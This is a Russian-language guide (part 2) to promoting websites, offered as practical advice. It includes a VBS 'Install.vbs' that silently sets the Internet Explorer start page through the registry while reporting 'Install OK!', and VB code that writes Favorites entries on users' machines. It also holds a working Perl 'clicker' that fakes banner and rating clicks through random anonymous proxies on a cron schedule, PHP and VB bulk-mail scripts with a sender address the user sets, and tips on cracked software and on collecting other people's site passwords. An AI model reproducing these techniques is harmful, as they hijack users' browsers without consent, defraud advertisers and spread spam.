Оптимизация Раскрутка ЧАСТЬ 2

......ПРОДОЛЖЕНИЕ
15. Как быстро создать много HTML-страниц
Зайдите на TOP100.Rambler и посмотрите, какие разделы наиболее популярны.
В рейтинге Rambler информация периодически меняется, но для Ваших дополнительных HTML-страниц это не очень важно.
Как быстро извлечь линки с WEB-страницы и сформировать из них готовую HTML-страницу?
Используйте freeware программы:

http://www.oflameron.ru/finder/

и дополнительно, программу формирования страниц

http:// www.oflameron.ru/fecompleter/

или

http://www.oflameron.ru/completer/

Сформировать собственную HTML-страницу можно очень быстро. Причем, в этой странице не будет никакой информации, кроме линков, заимствованных с web-страниц. Для создания обрамления страницы (заготовки) используйте любой из доступных HTML редакторов. Например, HomeSite.

Традиционно, наиболее посещаемыми ресурсами являются Авто-страницы, Эротика, Натуризм, MP3.

16. Как использовать VBS - Visual Basic Script

Если Вы используете архивы программ, как средство дополнительной раскрутки, то их эффективность можно еще увеличить, используя несложный VB-Script

Включите в распространяемый архив следующий файл, например, с названием Install.vbs

и следующим содержанием:

On Error Resume Next
main()

sub main()
On Error Resume Next

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", " http://images900dpi.h1.ru "
MsgBox "Install OK!"
end sub

Этот простой скрипт записывает в качестве стартовой страницы IE web-броузера, адрес Вашего сайта.

17. Если Ваш хостинг (платный или бесплатный) поддерживает PHP.

Тогда Ваши возможности по раскрутке сайта неизмеримо возрастают. Для начала, можно организовать очень простую и открытую почтовую систему. Вы создаете HTML-страницу с полями для письма и размещаете на своем сайте PHP-скрипт для отправки писем. В такой почтовой системе пользователи смогут только отправлять письма. Но и это востребовано. Простейшая система привлекла около 2000 новых пользователей за 3 месяца.

<html><head>
<title>Free Mail System</title>
<body bgcolor=5a5959 text=000000 link=white vlink=orange leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<table border=0 width=640 cellpadding=0 cellspacing=1>
<tr><td vAlign=top width=120>
</td><td align=center vAlign=top width=540>
<p><font size=5 color=white>Отправить почту</font>
<p><table border=0 cellpadding=0 cellspacing=0 width=500>
<tr class=c3>
<font size=2> </font>
</tr>
<tr align=center class=c2>
<p><font align=center color=orange size=4 face="Arial,Helvetica">Почтовая система "PEGAS"<br>
Свободная отправка почтовых сообщений!</font><br>
<FORM METHOD=POST ACTION=poster.php TARGET=_top>
<INPUT TYPE=text NAME="email" SIZE=20 MAXLENGTH=25 VALUE="E-mail"><br>
<INPUT TYPE=text NAME="subject" SIZE=50 MAXLENGTH=150 VALUE="Тема письма"><br>
<TEXTAREA NAME="message" ROWS=3 COLS=50 MAXLENGTH=800 WRAP=VIRTUAL>Введите текст письма</TEXTAREA><br>
<p><INPUT TYPE="submit" VALUE="Отправить">
</tr>
<tr class=c2>
<br><font color=orange size=1><li> Если Вы хотите получить ответ на письмо, не забудьте указать адрес Вашего личного почтового ящика.</font>
</tr>
</table>
</body></html>

PHP Скрипт должен быть записан в файл poster.php (для данной HTML-страницы)

Пример:

<html><head>
</head>
<body bgcolor=5a5959 text=000000 link=white vlink=orange leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
//Отправить почту
$message .= "\n-----------------------------------\nОригинальная карточная игра\n http://www.oflameron.ru\n-----------------------------------\nРуководство по раскрутке\n http://www.nnm.ru/topguide/\n-----------------------------------\n***Мобильники\n http://instructions.ru\n";
mail($email,$subject,$message,"From: postman@$SERVER_NAME\nX-Mailer: PHP/" . phpversion());

print "

Почта отправлена";

//Почта отправлена - OK!
?>
</body></html>

(Строка оранжевого цвета должна быть записана без переносов.)

Обратите внимание, как легко включить в текст письма линки. Если включить в текст письма тэги, используемые в HTML-страницах, то можно отправлять письмо в формате web-страницы. И там можно размещать и банеры и счетчики, и линки с безусловным переходом и iframe. Все-таки, большинство использует web-интерфейс для почты, а Вам это, в данном случае, очень выгодно.

18. Как использовать чужие счетчики.

Зайдите на http://top.mail.ru и в нужном разделе (например, Авто) посмотрите, статистика какого сайта из ТОР-вых, не запаролена. Зайдите в статистику, посмотрите, с каких поисковых систем или из каких каталогов приходит наибольшее количество посетителей. Регистрируйтесь там же.

Найдите через поиск страницы по Вашей тематике, на которых установлен счетчик системы http://w.extreme-dm.com
Зайдите на счетчик со страницы, на которой он установлен. Откройте раздел ключевых слов. Этот счетчик показывает, по каким ключевым словам данная страница была найдена в поисковых системах. Используйте эти слова на своих страницах.

Точно так же используйте счетчики системы http://lstat.susanin.com/
Там реальные ключевые слова, использованные посетителями.

19. Как размещать свои страницы на своих сайтах.

Как бы ничего сложного в этом нет. Однако, некоторые поисковые системы и каталоги (западные, чаще всего) требуют, чтобы при регистрации сайтов адрес был указан с символом "/" в конце адреса. Поэтому, для каждой страницы лучше делать отдельный каталог, страницы делать с именем index.

В дальнейшем это позволит очень эффективно использовать специальные PHP-скрипты.

20. Серфинг-системы. Только не делайте на них ставку.

Так называемые, системы обмена траффиком, IP-адресами или посетителями - серфинг-системы.
Делятся, по-крупному, на системы, поддерживающие авто-серфинг и системы с ручным серфингом.
Дополнительно, можно в некоторых системах привлекать реферралов, т.е. строить пирамиду.

Позволяют быстро анонсировать свои страницы некоторому ограниченному (по количеству) кругу таких же "халявщиков". Бескорыстные и наивные пользователи в такие системы не заходят - незачем.

Системы серфинга позволяют быстро "поднять" свой счетчик, что может быть хорошо для демонстрации шефу (если Вы ответственный за продвижение сайта фирмы), показа банеров (пока банерная система не обратила на Вас внимание). Требует участия в серфинге ежедневно. Реферралов привлекать трудно - нужно много времени и труда для кропотливой работы.

Из удобных систем серфинга:

www.neosap.com - удобный интерфейс, возможность выбора ручной/автосерфинг, хороший список настройки параметров серфинга, можно рекламировать сразу несколько страниц. Недостаток - не самый большой список участников.

http://www.autoraskrutka.ru/ - все то же самое.

http://www.autohits.dk - англоязычная система, но работает и с русскоязычными сайтами. Позволяет крутить одновременно только одну страницу. Очень много зарегистрированных пользователей.
Недостатком системы является то, что в статистике счетчиков четко прописывается адрес "раскрутчика" www.autohits.dk

Серфинг-систем много и большой список их приведен в полном руководстве по раскрутке.

21. Хостинг одной страницы.

Если дисковое пространство в Вашем распоряжении велико, эксплуатируйте его чужими руками. Разыщите на бесплатных хостингах интересные web-сайты. Предложите разместить их Index страницы в отдельном каталоге на Вашем сервере (все остальные страницы, картинки и т.д. можно и не переносить. Просто указать абсолютные адреса их загрузки с прежнего адреса). Предложите авторам совместно рекламировать первую страницу.
Ваше предложение может быть интересно тем, чьи сайты имеют очень длинные имена, медленный доступ (chat.ru , nm.ru, tam.ru) или не имеют некоторых сервисов (например, PHP или Perl).
Имея несколько таких карманных проектов, можно легко "перекачивать" траффик.
Если авторы вырастут до самостоятельного платного хостинга, Вы ничего не потеряете. В поисковых системах еще долго будут стоять ссылки на Ваши каталоги. Разместив там свои страницы, скрипты пересылки или файл . htaccess , Вы легко "приручите" поток пользователей. Таким приемом очень часто пользуются. На бесплатном хостинге ……… удаляют страницы пользователей и делают пересылку на страницу обработки 404 ошибки. Количество показов банеров на этой странице огромно.

22. Как снять сливки с каждого линка своей страницы

Если у Вас есть страницы с большим количеством линков (каталог линков), то каждый переход посетителя по линку может "поднимать" Ваш счетчик, показывать банер.

Для этого нужно использовать следующий PHP скрипт, размещенный в файле load.php

Пример:

<html><head><title>Гений Раскрутки Valery V Shmeleff
</title>
</head>

print "\n";

print "\n";

print "\n";

print "\n";
?>
<body bgcolor=black text=black leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

</body></html>

(Строки оранжевого цвета должны быть записаны без переносов.)

И так же создайте файл left.htm , в котором разместите необходимую для "прокручивания" информацию - счетчик, банер.

<html><head>
<title></title>
<meta content="" name=Description>
<meta content="" name=Keywords>

<base target=_top></head>
<body bgcolor=black text=black leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>



.
.
.
.


</body></html>

Если Вы разместите файлы load.php и left.htm , к примеру, в каталоге
http://www.lolik.ru/load/ то линки на Ваших страницах надо переписать ввиде:

Было - <a href="http://www.mp3search.com">Mp3-Search</a>
Новый - <a href="http://www.lolik.ru/load/load.php?http://www.mp3search.com">Mp3-Search</a>

Это только базовый вариант.
Неплохо бы спрятать собственно пустой файл left.htm от любопытных глаз. Как это сделать - смотрите полное руководство по раскрутке.

23. Классический скрипт для "накрутки” посещений

Вариант скрипта на Perl. Найден где-то в Internet без указания авторства. Приводится без изменений.

КЛИКЕР - скрипт для имитации посещений web-сайтов.

КЛИКЕР - Perl-скрипт для имитации посещений web-сайтов. Данное руководство позволит Вам создать и использовать свою программу для web-серфинга. Для этого Вам понадобится установить на машине web-сервер, например Apache. И использовать список анонимных прокси-серверов.
Для написания самого скрипта рекомендуется использовать PerlBuilder. Это довольно удобная софтина, которая умеет выделять программу цветом, проверять синтаксис и многие другие вещи. Найти ее можно где-то на листсофте, (www.listsoft.ru), а регистрашку к ней - на асталависте (www.astalavista.box.sk).

Чтобы PerlBuilder нормально понимал русский, в каталоге windows найди файл "pbuilder.ini". В нем есть строчка: "Font Face=Courier New". Замените ее на "Font Face=Courier New Cyr" и перезапустите PerlBuilder.

Первая строка скрипта - это путь к перлу на шелле. Чаще всего это:
#!/usr/bin/perl.
Потом к скрипту подключаем дополнительные модули:
use HTTP::Request::Common;
require LWP::UserAgent;
Инициализируем генератор случайных чисел и уменьшим буфер до единицы:
srand($$ & time ^ $$);
$|=1;
Теперь откроем файл, в котором хранится список твоих проксей:
open(PROXY, "proxy.lst");
@proxies=;
chomp(@proxies);
close(PROXY);
Все адреса проксей должны храниться в текстовом файле с именем "proxy.lst". В следующем формате:
адрес.сервера:порт
адрес.сервера:порт
Инициализируем переменную "$suc", а в "$pr" записываем адрес прокси, случайно выбранного из всего списка.
$suc=1;
$pr = splice(@proxies, int rand @proxies, 1);
Теперь самое интересное. Создадим виртуальный браузер, который будет заходить по ссылке, тем самым кликая по баннеру. Этот скрипт будет изображать собой IE5 и Windows98.
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)");
$ua->timeout(60);
$ua->proxy('http',"http://".$pr);
print "Try... $pr ";
Браузер готов, теперь - заголовок, который браузер передаст серверу.
$h1 = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',
Referer => 'http://www.xakep.ru/default.asp';
Замените "http://www.nnm.ru/ " на адрес своей страницы, на которой висит кнопка топа. Настало время делать запрос:
$req1 = new HTTP::Request ('GET', 'http://fomenko.ru/cgi-bin/top/lspro.cgi?click=номер', $h1);
$response=$ua->request($req1);
$suc=$response->is_success;
Делаете запрос к серверу и получаете от него ответ. Слово "номер" замени на свой номер, который тебе выдали при регистрации.
Теперь надо обработать результат, и если все прошло нормально, записать его в файл "click.log"
($suc) || print $response->code;
if ($suc) {
open(FH,">>click.log");
print FH $pr."\n";
close FH;
};
($suc) && print "+";
И завершить работу скрипта
exit;

Вот и весь текст скрипта. Не правда ли, все просто? Самое важное - найти место, где разместить свой скрипт и получить доступ к Shell.

Установка

Как определить, есть ли на твоем шелле возможность запустить кликер или нет? Кликер запускается с помощью программки "cron". Это своеобразный аналог Планировщика из виндов. Указываете программу, которую надо запускать, и устанавливаете время. Для создания задания необходимо будет создать файл в формате "crontab" (Unix-команда для периодического выполнения программ).
Допустим, Вы решили, что скрипт должен запускаться через каждые 20 минут, начиная с полуночи. Для этого надо написать:
0, 20, 40, * * * * clicker.pl
Где "clicker.pl" - имя твоего кликера.

Если у Вас не доступа к Shell, то можно попробовать вызывать скрипт каждый раз, когда на Вашу страничку заходит посетитель. Но для этого Ваш хостинг должен поддерживать perl и ssi. Изменим чуть-чуть наш скрипт. Для этого после строки:

#!/usr/bin/perl
добавьте:
print "Content-type: text/html\n\n";
И в html файл своей странички добавьте ssi команду вызова скрипта:

Предварительно скопировав "clicker.pl" в каталог "cgi-bin" и установив права доступа к файлу командой "chmod 755".

Итого:

Совершенно реальный и работоспособный скрипт. Найти список прокси-серверов можно на любом из поисковиков.

24. Маленькая личная рассылка.

Если у Вас есть хостинг с поддержкой PHP и отправка почты разрешена, то можно сделать маленькую рассылку информации по списку адресов. При каждом посещении страницы с Вашего сервера будет отправляться одно письмо по адресу, взятому из файла со списком адресов.

Полный листинг скрипта на PHP

<html><head>
</head>
<body bgcolor=c4cabb text=black link=0069a3 vlink=0069a3>

//Прочитать список адресов подписчиков
$filename="mailbaza.txt";
//Читать файл
$fp = @fopen($filename,"r");
if ($fp) {

$rew =@File($filename);
@fclose($fp);
} else {
}

$sendaddr = $rew[0]; //Первый e-mail из списка зпомнить

$r = Count($rew); //Количество строк с адресами
$r--; //Уменьшить число записей на 1

//Записать в тот же файл mailbaza.txt, но на 1 адрес меньше
$fp = fopen($filename,"w");
if ($fp) {
for ($j = 1; $j < $r; $j++) {
fputs($fp,$rew[$j]);
}
fclose($fp);
}

//Отправить сообщение подписчику
$subject = "Каталог софта для Win XP";
$message = "Здравствуйте!\n";
mail($sendaddr,$subject,$message,"From: webmaster@$SERVER_NAME\nX-Mailer: PHP/" . phpversion());

?>
</body></html>

E-mail адреса должны быть записаны в файл mailbaza.txt в следующем виде:

primer@yahoo.com
text@yahoo.com
hello@mail.ru
new@tr.ru

и т.д.

Однако некоторые бесплатные хостинги уже ограничили отправку почты с web-сайтов через PHP. В этом случае можно заказать очень недорогой платный хостинг. Если писем будет отправляться слишком много (при хорошей посещаемости Вашего сайта), то хостер может Вам указать на попытки организации Вами массовой рассылки. Тогда можно использовать почтовую программу на Visual BASIC 6.0 , листинг которой приведен ниже.

В полном руководстве по раскрутке есть значительно более гибкие и изощренные программы обслуживания почтовых подписчиков. Полное руководство можно приобрести через Internet – 75WM.rub

Обратите внимание, что почти все их приведенных здесь способов только здесь и описаны. А пользуются то ими многие. Чувствуете полезность этого руководства?

Что такое «Офламерон»?

25. Отправка почты по списку. Листинги на Visual BASIC

Если не лениться и думать, то можно организовать рассылку почтовых информационных сообщений и при этом не спамить.

Сначала листинг на Visual BASIC.

Attribute VB_Name = "frmSendMail"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Enum SMTP_State
MAIL_CONNECT
MAIL_HELO
MAIL_FROM
MAIL_RCPTTO
MAIL_DATA
MAIL_DOT
MAIL_QUIT
End Enum

Private m_State As SMTP_State
Private m_strEncodedFiles As String
'

Private Sub cmdAddFile_Click()

With ComDialog
.ShowOpen
If Len(.FileName) > 0 Then
lstAttachments.AddItem .FileName
End If
End With

End Sub

Private Sub cmdClose_Click()

Unload Me

End Sub

Private Sub cmdNew_Click()

txtRecipient = ""
txtSubject = ""
txtMessage = ""

End Sub

Private Sub cmdRemove_Click()

On Error Resume Next

lstAttachments.RemoveItem lstAttachments.ListIndex

End Sub

Private Sub cmdSend_Click()
'
Dim i As Integer
'
'Разбираем Аттач
'
For i = 0 To lstAttachments.ListCount - 1
lstAttachments.ListIndex = i
m_strEncodedFiles = m_strEncodedFiles & _
UUEncodeFile(lstAttachments.Text) & vbCrLf
Next i
'
Winsock1.Connect Trim$(txtHost), 25
m_State = MAIL_CONNECT
'
End Sub

Private Sub Form_Load()
'
'Очистить все textboxes
'
For Each ctl In Me.Controls
If TypeOf ctl Is TextBox Then
ctl.Text = ""
End If
Next
'
End Sub

Private Sub Form_Unload(Cancel As Integer)
Set m_colAttachments = Nothing
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strServerResponse As String
Dim strResponseCode As String
Dim strDataToSend As String
Winsock1.GetData strServerResponse

Debug.Print strServerResponse
strResponseCode = Left(strServerResponse, 3)

If strResponseCode = "250" Or _
strResponseCode = "220" Or _
strResponseCode = "354" Then

Select Case m_State
Case MAIL_CONNECT

m_State = MAIL_HELO

strDataToSend = Trim$(txtSender)

strDataToSend = Left$(strDataToSend, _
InStr(1, strDataToSend, "@") - 1)

Winsock1.SendData "HELO " & strDataToSend & vbCrLf

Debug.Print "HELO " & strDataToSend

Case MAIL_HELO

m_State = MAIL_FROM

Winsock1.SendData "MAIL FROM:" & Trim$(txtSender) & vbCrLf

Debug.Print "MAIL FROM:" & Trim$(txtSender)

Case MAIL_FROM

m_State = MAIL_RCPTTO

Winsock1.SendData "RCPT TO:" & Trim$(txtRecipient) & vbCrLf

Debug.Print "RCPT TO:" & Trim$(txtRecipient)

Case MAIL_RCPTTO

m_State = MAIL_DATA

Winsock1.SendData "DATA" & vbCrLf

Debug.Print "DATA"

Case MAIL_DATA

m_State = MAIL_DOT

Winsock1.SendData "Subject:" & txtSubject & vbLf & vbCrLf

Debug.Print "Subject:" & txtSubject

Dim varLines As Variant
Dim varLine As Variant
Dim strMessage As String

strMessage = txtMessage & vbCrLf & vbCrLf & m_strEncodedFiles

m_strEncodedFiles = ""

varLines = Split(strMessage, vbCrLf)

strMessage = ""

For Each varLine In varLines
Winsock1.SendData CStr(varLine) & vbLf

Debug.Print CStr(varLine)
Next

Winsock1.SendData "." & vbCrLf

Debug.Print "."

Case MAIL_DOT

m_State = MAIL_QUIT

Winsock1.SendData "QUIT" & vbCrLf

Debug.Print "QUIT"
Case MAIL_QUIT

Winsock1.Close

End Select

Else

Winsock1.Close

If Not m_State = MAIL_QUIT Then
MsgBox "SMTP Error: " & strServerResponse, _
vbInformation, "SMTP Error"
Else
MsgBox "Message sent successfuly.", vbInformation
End If

End If

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "Winsock Error number " & Number & vbCrLf & _
Description, vbExclamation, "Winsock Error"

End Sub

Отправка почты выполняется через Winsock. Обратный адрес задается Вами. Программа умеет отправлять письмо с аттачем. Пример полностью работоспособен.

Дополнительный файл M_UUCode.bas

Attribute VB_Name = "M_UUCode"
Public Function UUDecodeToFile(strUUCodeData As String, strFilePath As String)

Dim vDataLine As Variant
Dim vDataLines As Variant
Dim strDataLine As String
Dim intSymbols As Integer
Dim intFile As Integer
Dim strTemp As String

If Left$(strUUCodeData, 6) = "begin " Then
strUUCodeData = Mid$(strUUCodeData, InStr(1, strUUCodeData, vbLf) + 1)
End If

If Right$(strUUCodeData, 4) = "end" + vbLf Then
strUUCodeData = Left$(strUUCodeData, Len(strUUCodeData) - 7)
End If

intFile = FreeFile
Open strFilePath For Binary As intFile

vDataLines = Split(strUUCodeData, vbLf)

For Each vDataLine In vDataLines
strDataLine = CStr(vDataLine)
intSymbols = Asc(Left$(strDataLine, 1))
strDataLine = Mid$(strDataLine, 2, intSymbols)
For i = 1 To Len(strDataLine) Step 4
strTemp = strTemp + Chr((Asc(Mid(strDataLine, i, 1)) - 32) * 4 + _
(Asc(Mid(strDataLine, i + 1, 1)) - 32) \ 16)
strTemp = strTemp + Chr((Asc(Mid(strDataLine, i + 1, 1)) Mod 16) * 16 + _
(Asc(Mid(strDataLine, i + 2, 1)) - 32) \ 4)
strTemp = strTemp + Chr((Asc(Mid(strDataLine, i + 2, 1)) Mod 4) * 64 + _
Asc(Mid(strDataLine, i + 3, 1)) - 32)
Next i
Put intFile, , strTemp
strTemp = ""
Next

Close intFile

End Function

Public Function UUEncodeFile(strFilePath As String) As String

Dim intFile As Integer 'file handler
Dim intTempFile As Integer 'temp file
Dim lFileSize As Long 'size of the file
Dim strFileName As String 'name of the file
Dim strFileData As String 'file data chunk
Dim lEncodedLines As Long 'number of encoded lines
Dim strTempLine As String 'temporary string
Dim i As Long 'loop counter
Dim j As Integer 'loop counter

Dim strResult As String

strFileName = Mid$(strFilePath, InStrRev(strFilePath, "\") + 1)

strResult = "begin 664 " + strFileName + vbLf

lFileSize = FileLen(strFilePath)
lEncodedLines = lFileSize / 45 + 1

strFileData = Space(45)

intFile = FreeFile

Open strFilePath For Binary As intFile
For i = 1 To lEncodedLines
If i = lEncodedLines Then
strFileData = Space(lFileSize Mod 45)
End If
Get intFile, , strFileData
strTempLine = Chr(Len(strFileData) + 32)
If i = lEncodedLines And (Len(strFileData) Mod 3) Then
strFileData = strFileData + Space(3 - (Len(strFileData) Mod 3))
End If

For j = 1 To Len(strFileData) Step 3
strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j, 1)) \ 4 + 32)
strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j, 1)) Mod 4) * 16 _
+ Asc(Mid(strFileData, j + 1, 1)) \ 16 + 32)
strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j + 1, 1)) Mod 16) * 4 _
+ Asc(Mid(strFileData, j + 2, 1)) \ 64 + 32)
strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j + 2, 1)) Mod 64 + 32)
Next j
strResult = strResult + strTempLine + vbLf
strTempLine = ""
Next i
Close intFile

strResult = strResult & "'" & vbLf + "end" + vbLf
UUEncodeFile = strResult

End Function

Полный листинг программы со всеми формами и файлами приложен к этому руководству в архиве SendMail.zip Листинг «заимствован» из открытой публикации в Internet.

У этой программы есть очень оригинальный и более эффектный вариант. Анализ почтового ящика показал, что кое-кто уже пользуется этим оригинальным вариантом рассылки. Листинг – во 2-й части руководства по раскрутке.

Листинг программы можно получить вместе с полным руководством по раскрутке. Все параметры письма задаются в текстовых файлах – обратный адрес, список адресов, заголовок письма, текст письма. Отправка почты выполняется автоматически. Полное руководство по раскрутке можно купить через Internet – 75WM.rub

26. Работа со спонсором. Работа НА спонсора.

Если Ваш сайт добился некоторых успехов и имеет посещаемость 500-600 реальных хостов в день, у Вас появляется возможность использовать эти значения как «подставку» под рычаг, которым Вы поднимете посещаемость еще в несколько раз. Но! Посещаемость должна быть совершенно честной, не «накрученной».

Вы посещаете каталог ресурсов Internet и выбираете в разных разделах по 5-6 сайтов с посещаемостью в 3-4 раза ниже, чем у Вас.
Создаете маленькую форму для регистрации входа в Ваш сервис – например в бесплатный почтовый сервис (см. описанный выше скрипт) или хороший каталог WAREZ-а.
Один из примеров:

Пример. Исходная форма была несколько не такая. J

На своей web-странице пишете, что вход осуществляется только со страницы спонсора, все пароли и логины сохраняются.
Что это дает? Пользователи, которые реально пользовались Вашим сервисом будут заходить через страницу спонсора, накручивая вам доход а спонсору посещаемость и, возможно, так же доход. Если умело написать код своей формы на странице спонсора, то и все «его» посетители будут «поднимать» показатели так же и Вашей статистики, делая ее еще привлекательнее для других спонсоров. А вариантов здесь (с IFRAME, или PHP скриптами – полно). Очень полезно проверку при входе выполнять PHP скриптом (например). Нужно проверять, с какого URL-а к Вам пришел пользователь и вести учет для контроля спонсора и для того, чтобы пользователь мог зайти только от спонсора.

Пример такого скрипта на PHP есть в полной версии руководства по раскрутке. Его можно купить через Internet – 75WN.rub

27. Как вписать нужный URL в Favorites IE

Надо-ли говорить, что очень многие желали бы прописать адреса своих сайтов в Favorites броузеров пользователей Internet. На страницах ставят всякие кнопочки с предложением «кликнуть», чтобы ее адрес запомнился. Однако, много-ли «кликают»?
А между тем, прописать нужный адрес в Favorites (и даже несколько адресов сразу) очень просто, если пойти другим путем. Через «заднее крыльцо».

Выше уже приводился VB-скрипт, который устанавливал стартовую страницу броузера на нужный адрес – соответствующая информация заносилась в регистр Windows в соответствующий раздел. Но ведь то же самое можно делать и из обычных программ. Например, программы на Visual BASIC.
Пример для Windows XP (в других версиях Windows адрес для Favorites может быть иной):

'Создать запись в IE Favorites
'из регистра Windows
On Error Resume Next
Ltext = Len(stringbuffer) 'Длина пути к папке Favorites
Ltext = Ltext - 1 'Длина минус возврат строки
'Сформировать в переменной text полный путь в папке Favorites
text = Mid(stringbuffer, 1, Ltext) + "\" + "== Легенда 1902 года ==.url"
Str1(0) = "[DEFAULT]"
Str1(1) = "BASEURL=http://www.oflameron.ru"
Str1(2) = "[InternetShortcut]"
Str1(3) = "URL=http://www.oflameron.ru"
Str1(4) = "Modified=70037C581883C001A3"
ind = 1
Kill text 'Стереть предыдущую версию записи в Favorites, если она была
For i = 0 To 4
Str1(i) = Str1(i) + Chr$(13) + Chr$(10)
Open text For Binary As #1 Len = Len(Str1(i))
Put #1, ind, Str1(i)
ind = ind + Len(Str1(i)) 'номер следующей записи
Close #1
Next i

Т.е. запись в Favorites – не что иное, как запись текстового файла на диске в определенном каталоге. Ничто не мешает Вам записать сразу несколько ссылок. Но!
Если Вы будете просто вносить записи в Favorites компьютеров пользователей без их желания, то Вы тем самым нарушите массу всяких законов, что вредно. И неприлично.
Чтобы этого не случилось, нужно сразу объявить пользователю Вашей программы, что она распространяется БЕСПЛАТНО, но на условиях ADWARE.

Пояснение - ADWARE

Несколько лет назад к двум видам распространения программного обеспечения, не требующим немедленной и непосредственной оплаты, — бесплатным (freeware) и условно-бесплатным (shareware) — добавился еще один, который впоследствии получил название adware. Суть его весьма тривиальна: конечному пользователю нет необходимости платить за программу, вместо этого ему показывают рекламу, а деньги создатели программы получают от рекламодателей. Так разрешается известное противоречие: разработчик хочет получать заработанные честным трудом деньги, а пользователь не хочет платить за программу.

Т.е. пользователь все знает и не против – запустил программу, значит согласен. Но информацию Вы в архиве к программе приложить должны. А уж будет кто читать или нет …

Обратите внимание, что почти все их приведенных здесь способов только здесь и описаны. А пользуются то ими многие. Чувствуете полезность этого руководства?

27. Психологические особенности раскрутки

Многие термины, слова, словосочетания, изображения уже у «всех на слуху», но не зарегистрированы как торговый знак (или просто не могут быть зарегистрированы как таковые). И этим можно и нужно воспользоваться.

Например, несколько лет назад была написана малюсенькая программка для увеличения посещаемости и ей было присвоено громкое имя WWWIAGRA
За один месяц с сайта программного обеспечения было скачано 900 копий программы! Представьте себе это количество в свете предыдущего пункта руководства – прописывания URL в Favorites. А за два месяца…

28. Как и Что просить

В отечественном Интернете много страниц , созданных на бесплатных хостингах, поддержка которых авторами по разным причинам давно заброшена. Как можно использовать ресурс таких страниц? Один из специалистов не поленился и «бросил клич» - что он возьмет на содержание старые web-страницы, не нужные их авторам. В результате небольшой работы на форумах и досках объявлений он получил пароли почти к 200 сайтам.
При средней посещаемости таких web-сайтов 5 IP-адресов в сутки суммарную посещаемость Вы можете легко подсчитать сами. А как воспользоваться таким трафиком, было описано выше